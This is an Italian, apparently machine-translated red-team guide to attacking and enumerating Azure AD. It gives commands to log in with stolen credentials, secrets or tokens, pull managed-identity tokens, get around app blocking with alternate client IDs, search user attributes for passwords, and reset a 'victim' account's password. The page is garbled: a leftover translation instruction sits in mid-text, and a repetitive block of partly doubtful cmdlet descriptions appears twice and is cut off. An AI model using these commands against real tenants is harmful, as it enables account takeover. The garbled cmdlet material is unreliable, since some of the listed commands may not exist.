Az - AzureAD (AAD)
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
Scopri The PEASS Family, la nostra collezione di NFT esclusivi
Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud github repos.
Informazioni di base
Azure Active Directory (Azure AD) funge da servizio basato su cloud di Microsoft per la gestione dell'identità e dell'accesso. È fondamentale per consentire ai dipendenti di accedere e ottenere risorse, sia all'interno che all'esterno dell'organizzazione, compresi Microsoft 365, il portale Azure e una moltitudine di altre applicazioni SaaS. Il design di Azure AD si concentra sulla fornitura di servizi di identità essenziali, tra cui autenticazione, autorizzazione e gestione degli utenti.
Le principali caratteristiche di Azure AD includono autenticazione a più fattori e accesso condizionale, oltre all'integrazione senza soluzione di continuità con altri servizi di sicurezza di Microsoft. Queste funzionalità elevano significativamente la sicurezza delle identità degli utenti e consentono alle organizzazioni di implementare ed applicare in modo efficace le proprie politiche di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è fondamentale per la gestione basata su cloud delle identità degli utenti.
Entità
Enumerazione
Per questa enumerazione puoi utilizzare lo strumento az cli, il modulo PowerShell AzureAD (o AzureAD Preview) e il modulo Az PowerShell.
In Linux sarà necessario installare PowerShell Core:
sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common
# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
# Update repos
sudo apt-get update
sudo add-apt-repository universe
# Install & start powershell
sudo apt-get install -y powershell
pwsh
# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
Differenze tra i moduli
AzureAD è un modulo PowerShell di Microsoft per gestire Azure AD. Non mostra tutte le proprietà degli oggetti di Azure AD e non può essere utilizzato per accedere alle informazioni delle risorse di Azure.
Az PowerShell è un modulo per gestire le risorse di Azure dalla riga di comando di PowerShell.
Connessione
az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant contoso.onmicrosoft.com #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com #With cert
# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph
# If you want to configure some defaults
az configure
# Get user logged-in already
az ad signed-in-user show
# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
# Using tokens
## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect
Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds
# Get Access Token
(Get-AzAccessToken).Token
# Request access token to other endpoints: AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, MSGraph, OperationalInsights, ResourceManager, Storage, Synapse
Get-AzAccessToken -ResourceTypeName MSGraph
(Get-AzAccessToken -Resource "https://graph.microsoft.com").Token
# Conenct with access token
Connect-AzAccount -AccountId test@corp.onmicrosoft.com -AccessToken $token
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId <ACCOUNT-ID>
## The -AccessToken is from management.azure.com
# Connect with Service principal/enterprise app secret
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
$creds = New-Object
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d
#All the Azure AD cmdlets have the format *-AzAD*
Get-Command *azad*
#Cmdlets for other Azure resources have the format *Az*
Get-Command *az*
Il seguente è il contenuto di un libro di hacking sulle tecniche di hacking. Il seguente contenuto è tratto dal file /hive/hacktricks-cloud/pentesting-cloud/azure-security/az-azuread/README.md. Traduci il testo inglese pertinente in italiano e restituisci la traduzione mantenendo esattamente la stessa sintassi markdown e html. Non tradurre cose come codice, nomi di tecniche di hacking, parole di hacking, nomi di piattaforme cloud/SaaS (come Workspace, aws, gcp...), la parola 'leak', pentesting e tag markdown. Inoltre, non aggiungere nulla di extra oltre alla traduzione e alla sintassi markdown.
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
# Using graph
Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token}
# Request tokens to access endpoints
# ARM
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Vault
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
Quando effettui l'accesso tramite CLI ad Azure con qualsiasi programma, stai utilizzando un'applicazione Azure di un tenant che appartiene a Microsoft. Queste applicazioni, come quelle che puoi creare nel tuo account, hanno un ID client. Non sarai in grado di vederli tutti nell'elenco delle applicazioni consentite che puoi vedere nella console, ma sono tutti consentiti per impostazione predefinita.
Ad esempio, uno script di PowerShell che si autentica utilizza un'app con ID client 1950a258-227b-4e31-a9cf-717495945fc2
. Anche se l'app non appare nella console, un amministratore di sistema potrebbe bloccare quell'applicazione in modo che gli utenti non possano accedere utilizzando strumenti che si connettono tramite quella app.
Tuttavia, ci sono altri ID client di applicazioni che ti consentiranno di connetterti ad Azure:
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
Utenti
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
# Get info of 1 user
Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl
# Search "admin" users
Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName
# Get all attributes of a user
Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name}
# Search attributes containing the word "password"
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users from AzureAD# All users from AzureAD
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All users synced from on-prem
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Objects created by a/any user
Get-AzureADUser [-ObjectId <email>] | Get-AzureADUserCreatedObject
# Devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Objects owned by a specific user
Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com
# Get groups & roles where the user is a member
Get-AzureADUserMembership -ObjectId 'test@corp.onmicrosoft.com'
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com
# Apps where a user has a role (role not shown)
Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl *
# Get Administrative Units of a user
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }
Az PowerShell
Installazione
Per utilizzare il modulo Az PowerShell, è necessario installarlo. Ecco come farlo:
Install-Module -Name Az -AllowClobber -Scope CurrentUser
Connessione ad Azure AD
Per connettersi ad Azure AD utilizzando Az PowerShell, è possibile utilizzare il comando Connect-AzAccount
. Sarà richiesto di accedere con le credenziali dell'account Azure.
Connect-AzAccount
Ottenere informazioni sull'utente corrente
Per ottenere informazioni sull'utente corrente connesso ad Azure AD, è possibile utilizzare il comando Get-AzADUser
. Questo comando restituirà una serie di informazioni sull'utente, come il nome, l'ID, il ruolo e altro ancora.
Get-AzADUser
Ottenere informazioni sui gruppi
Per ottenere informazioni sui gruppi presenti in Azure AD, è possibile utilizzare il comando Get-AzADGroup
. Questo comando restituirà una lista di gruppi con informazioni come il nome, l'ID, i membri e altro ancora.
Get-AzADGroup
Ottenere informazioni sui ruoli
Per ottenere informazioni sui ruoli presenti in Azure AD, è possibile utilizzare il comando Get-AzADRoleDefinition
. Questo comando restituirà una lista di ruoli con informazioni come il nome, l'ID, le autorizzazioni e altro ancora.
Get-AzADRoleDefinition
Ottenere informazioni sulle app registrate
Per ottenere informazioni sulle app registrate in Azure AD, è possibile utilizzare il comando Get-AzADApplication
. Questo comando restituirà una lista di app con informazioni come il nome, l'ID, i proprietari e altro ancora.
Get-AzADApplication
Ottenere informazioni sulle sottoscrizioni
Per ottenere informazioni sulle sottoscrizioni associate all'account Azure, è possibile utilizzare il comando Get-AzSubscription
. Questo comando restituirà una lista di sottoscrizioni con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzSubscription
Ottenere informazioni sulle risorse
Per ottenere informazioni sulle risorse presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzResource
. Questo comando restituirà una lista di risorse con informazioni come il nome, il tipo, la posizione e altro ancora.
Get-AzResource
Ottenere informazioni sulle policy di Azure
Per ottenere informazioni sulle policy di Azure associate a una sottoscrizione, è possibile utilizzare il comando Get-AzPolicyAssignment
. Questo comando restituirà una lista di policy con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzPolicyAssignment
Ottenere informazioni sulle reti virtuali
Per ottenere informazioni sulle reti virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualNetwork
. Questo comando restituirà una lista di reti virtuali con informazioni come il nome, l'ID, l'intervallo di indirizzi e altro ancora.
Get-AzVirtualNetwork
Ottenere informazioni sugli account di archiviazione
Per ottenere informazioni sugli account di archiviazione presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzStorageAccount
. Questo comando restituirà una lista di account di archiviazione con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzStorageAccount
Ottenere informazioni sui gruppi di sicurezza di rete
Per ottenere informazioni sui gruppi di sicurezza di rete presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzNetworkSecurityGroup
. Questo comando restituirà una lista di gruppi di sicurezza di rete con informazioni come il nome, l'ID, le regole e altro ancora.
Get-AzNetworkSecurityGroup
Ottenere informazioni sui log di monitoraggio
Per ottenere informazioni sui log di monitoraggio presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLog
. Questo comando restituirà una lista di log di monitoraggio con informazioni come l'ID, il tipo, il livello e altro ancora.
Get-AzLog
Ottenere informazioni sulle macchine virtuali
Per ottenere informazioni sulle macchine virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVM
. Questo comando restituirà una lista di macchine virtuali con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzVM
Ottenere informazioni sui database SQL
Per ottenere informazioni sui database SQL presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSqlDatabase
. Questo comando restituirà una lista di database SQL con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSqlDatabase
Ottenere informazioni sui servizi app
Per ottenere informazioni sui servizi app presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzWebApp
. Questo comando restituirà una lista di servizi app con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzWebApp
Ottenere informazioni sui servizi di bilanciamento del carico
Per ottenere informazioni sui servizi di bilanciamento del carico presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLoadBalancer
. Questo comando restituirà una lista di servizi di bilanciamento del carico con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzLoadBalancer
Ottenere informazioni sui servizi di Azure Kubernetes
Per ottenere informazioni sui servizi di Azure Kubernetes presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzAksCluster
. Questo comando restituirà una lista di servizi di Azure Kubernetes con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzAksCluster
Ottenere informazioni sui servizi di Azure Container Registry
Per ottenere informazioni sui servizi di Azure Container Registry presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzContainerRegistry
. Questo comando restituirà una lista di servizi di Azure Container Registry con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzContainerRegistry
Ottenere informazioni sui servizi di Azure Functions
Per ottenere informazioni sui servizi di Azure Functions presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFunctionApp
. Questo comando restituirà una lista di servizi di Azure Functions con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzFunctionApp
Ottenere informazioni sui servizi di Azure Logic Apps
Per ottenere informazioni sui servizi di Azure Logic Apps presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLogicApp
. Questo comando restituirà una lista di servizi di Azure Logic Apps con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzLogicApp
Ottenere informazioni sui servizi di Azure Event Grid
Per ottenere informazioni sui servizi di Azure Event Grid presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventGridTopic
. Questo comando restituirà una lista di servizi di Azure Event Grid con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzEventGridTopic
Ottenere informazioni sui servizi di Azure Event Hub
Per ottenere informazioni sui servizi di Azure Event Hub presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventHubNamespace
. Questo comando restituirà una lista di servizi di Azure Event Hub con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzEventHubNamespace
Ottenere informazioni sui servizi di Azure Service Bus
Per ottenere informazioni sui servizi di Azure Service Bus presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzServiceBusNamespace
. Questo comando restituirà una lista di servizi di Azure Service Bus con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzServiceBusNamespace
Ottenere informazioni sui servizi di Azure Key Vault
Per ottenere informazioni sui servizi di Azure Key Vault presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzKeyVault
. Questo comando restituirà una lista di servizi di Azure Key Vault con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzKeyVault
Ottenere informazioni sui servizi di Azure Cognitive Services
Per ottenere informazioni sui servizi di Azure Cognitive Services presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCognitiveServicesAccount
. Questo comando restituirà una lista di servizi di Azure Cognitive Services con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzCognitiveServicesAccount
Ottenere informazioni sui servizi di Azure Search
Per ottenere informazioni sui servizi di Azure Search presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSearchService
. Questo comando restituirà una lista di servizi di Azure Search con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSearchService
Ottenere informazioni sui servizi di Azure Redis Cache
Per ottenere informazioni sui servizi di Azure Redis Cache presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzRedisCache
. Questo comando restituirà una lista di servizi di Azure Redis Cache con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzRedisCache
Ottenere informazioni sui servizi di Azure CDN
Per ottenere informazioni sui servizi di Azure CDN presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCdnProfile
. Questo comando restituirà una lista di servizi di Azure CDN con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzCdnProfile
Ottenere informazioni sui servizi di Azure Traffic Manager
Per ottenere informazioni sui servizi di Azure Traffic Manager presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzTrafficManagerProfile
. Questo comando restituirà una lista di servizi di Azure Traffic Manager con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzTrafficManagerProfile
Ottenere informazioni sui servizi di Azure Front Door
Per ottenere informazioni sui servizi di Azure Front Door presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFrontDoor
. Questo comando restituirà una lista di servizi di Azure Front Door con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzFrontDoor
Ottenere informazioni sui servizi di Azure DDoS Protection
Per ottenere informazioni sui servizi di Azure DDoS Protection presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzDdosProtectionPlan
. Questo comando restituirà una lista di servizi di Azure DDoS Protection con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzDdosProtectionPlan
Ottenere informazioni sui servizi di Azure Firewall
Per ottenere informazioni sui servizi di Azure Firewall presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFirewall
. Questo comando restituirà una lista di servizi di Azure Firewall con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzFirewall
Ottenere informazioni sui servizi di Azure Virtual WAN
Per ottenere informazioni sui servizi di Azure Virtual WAN presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualWan
. Questo comando restituirà una lista di servizi di Azure Virtual WAN con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzVirtualWan
Ottenere informazioni sui servizi di Azure ExpressRoute
Per ottenere informazioni sui servizi di Azure ExpressRoute presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzExpressRouteCircuit
. Questo comando restituirà una lista di servizi di Azure ExpressRoute con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzExpressRouteCircuit
Ottenere informazioni sui servizi di Azure VPN Gateway
Per ottenere informazioni sui servizi di Azure VPN Gateway presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualNetworkGateway
. Questo comando restituirà una lista di servizi di Azure VPN Gateway con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzVirtualNetworkGateway
Ottenere informazioni sui servizi di Azure Active Directory Domain Services
Per ottenere informazioni sui servizi di Azure Active Directory Domain Services presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzADDomainService
. Questo comando restituirà una lista di servizi di Azure Active Directory Domain Services con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzADDomainService
Ottenere informazioni sui servizi di Azure Information Protection
Per ottenere informazioni sui servizi di Azure Information Protection presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzInformationProtectionLabel
. Questo comando restituirà una lista di servizi di Azure Information Protection con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzInformationProtectionLabel
Ottenere informazioni sui servizi di Azure Security Center
Per ottenere informazioni sui servizi di Azure Security Center presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSecurityContact
. Questo comando restituirà una lista di servizi di Azure Security Center con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSecurityContact
Ottenere informazioni sui servizi di Azure Sentinel
Per ottenere informazioni sui servizi di Azure Sentinel presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSentinel
. Questo comando restituirà una lista di servizi di Azure Sentinel con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSentinel
Ottenere informazioni sui servizi di Azure Backup
Per ottenere informazioni sui servizi di Azure Backup presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzRecoveryServicesVault
. Questo comando restituirà una lista di servizi di Azure Backup con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzRecoveryServicesVault
Ottenere informazioni sui servizi di Azure Site Recovery
Per ottenere informazioni sui servizi di Azure Site Recovery presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSiteRecoveryVault
. Questo comando restituirà una lista di servizi di Azure Site Recovery con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSiteRecoveryVault
Ottenere informazioni sui servizi di Azure DevOps
Per ottenere informazioni sui servizi di Azure DevOps presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzDevOpsOrganization
.
# Enumerate users
Get-AzADUser
# Get details of a user
Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com
# Search user by string
Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName
Get-AzADUser | ?{$_.Displayname -match "admin"}
# Get roles assigned to a user
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Cambiare la password dell'utente
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
MFA e Politiche di Accesso Condizionale
È altamente consigliato aggiungere MFA a ogni utente, tuttavia alcune aziende potrebbero non impostarlo o potrebbero impostarlo con un Accesso Condizionale: all'utente verrà richiesto MFA se accede da una posizione specifica, da un browser o in alcune condizioni. Queste politiche, se non configurate correttamente, potrebbero essere soggette a bypass. Controlla:
pageAz - Conditional Access Policies / MFA BypassGruppi
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
Get-AzADGroup -DisplayName <resource_group_name> | fl
# Get "admin" groups
Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin"
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin"
# Get groups allowing dynamic membership
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# All groups that are from Azure AD
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All groups that are synced from on-prem (note that security groups are not synced)
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Get members of a group
Get-AzureADGroupMember -ObjectId <group_id>
# Get roles of group
Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id
Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'"
# Get Administrative Units of a group
$groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} }
Az PowerShell
Installazione
Per utilizzare il modulo Az PowerShell, è necessario installarlo. Ecco come farlo:
Install-Module -Name Az -AllowClobber -Scope CurrentUser
Connessione ad Azure AD
Per connettersi ad Azure AD utilizzando Az PowerShell, è possibile utilizzare il comando Connect-AzAccount
. Sarà richiesto di accedere con le credenziali dell'account Azure.
Connect-AzAccount
Ottenere informazioni sull'utente corrente
Per ottenere informazioni sull'utente corrente connesso ad Azure AD, è possibile utilizzare il comando Get-AzADUser
. Questo comando restituirà una serie di informazioni sull'utente, come il nome, l'ID, il ruolo e altro ancora.
Get-AzADUser
Ottenere informazioni sui gruppi
Per ottenere informazioni sui gruppi presenti in Azure AD, è possibile utilizzare il comando Get-AzADGroup
. Questo comando restituirà una lista di gruppi con informazioni come il nome, l'ID, i membri e altro ancora.
Get-AzADGroup
Ottenere informazioni sui ruoli
Per ottenere informazioni sui ruoli presenti in Azure AD, è possibile utilizzare il comando Get-AzADRoleDefinition
. Questo comando restituirà una lista di ruoli con informazioni come il nome, l'ID, le autorizzazioni e altro ancora.
Get-AzADRoleDefinition
Ottenere informazioni sulle app registrate
Per ottenere informazioni sulle app registrate in Azure AD, è possibile utilizzare il comando Get-AzADApplication
. Questo comando restituirà una lista di app con informazioni come il nome, l'ID, i proprietari e altro ancora.
Get-AzADApplication
Ottenere informazioni sulle sottoscrizioni
Per ottenere informazioni sulle sottoscrizioni associate all'account Azure, è possibile utilizzare il comando Get-AzSubscription
. Questo comando restituirà una lista di sottoscrizioni con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzSubscription
Ottenere informazioni sulle risorse
Per ottenere informazioni sulle risorse presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzResource
. Questo comando restituirà una lista di risorse con informazioni come il nome, il tipo, la posizione e altro ancora.
Get-AzResource
Ottenere informazioni sulle policy di Azure
Per ottenere informazioni sulle policy di Azure associate a una sottoscrizione, è possibile utilizzare il comando Get-AzPolicyAssignment
. Questo comando restituirà una lista di policy con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzPolicyAssignment
Ottenere informazioni sulle reti virtuali
Per ottenere informazioni sulle reti virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualNetwork
. Questo comando restituirà una lista di reti virtuali con informazioni come il nome, l'ID, l'intervallo di indirizzi e altro ancora.
Get-AzVirtualNetwork
Ottenere informazioni sugli account di archiviazione
Per ottenere informazioni sugli account di archiviazione presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzStorageAccount
. Questo comando restituirà una lista di account di archiviazione con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzStorageAccount
Ottenere informazioni sui gruppi di sicurezza di rete
Per ottenere informazioni sui gruppi di sicurezza di rete presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzNetworkSecurityGroup
. Questo comando restituirà una lista di gruppi di sicurezza di rete con informazioni come il nome, l'ID, le regole e altro ancora.
Get-AzNetworkSecurityGroup
Ottenere informazioni sui log di monitoraggio
Per ottenere informazioni sui log di monitoraggio presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLog
. Questo comando restituirà una lista di log di monitoraggio con informazioni come l'ID, il tipo, il livello e altro ancora.
Get-AzLog
Ottenere informazioni sulle macchine virtuali
Per ottenere informazioni sulle macchine virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVM
. Questo comando restituirà una lista di macchine virtuali con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzVM
Ottenere informazioni sui database SQL
Per ottenere informazioni sui database SQL presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSqlDatabase
. Questo comando restituirà una lista di database SQL con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSqlDatabase
Ottenere informazioni sui servizi app
Per ottenere informazioni sui servizi app presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzWebApp
. Questo comando restituirà una lista di servizi app con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzWebApp
Ottenere informazioni sui servizi di bilanciamento del carico
Per ottenere informazioni sui servizi di bilanciamento del carico presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLoadBalancer
. Questo comando restituirà una lista di servizi di bilanciamento del carico con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzLoadBalancer
Ottenere informazioni sui servizi di Azure Kubernetes
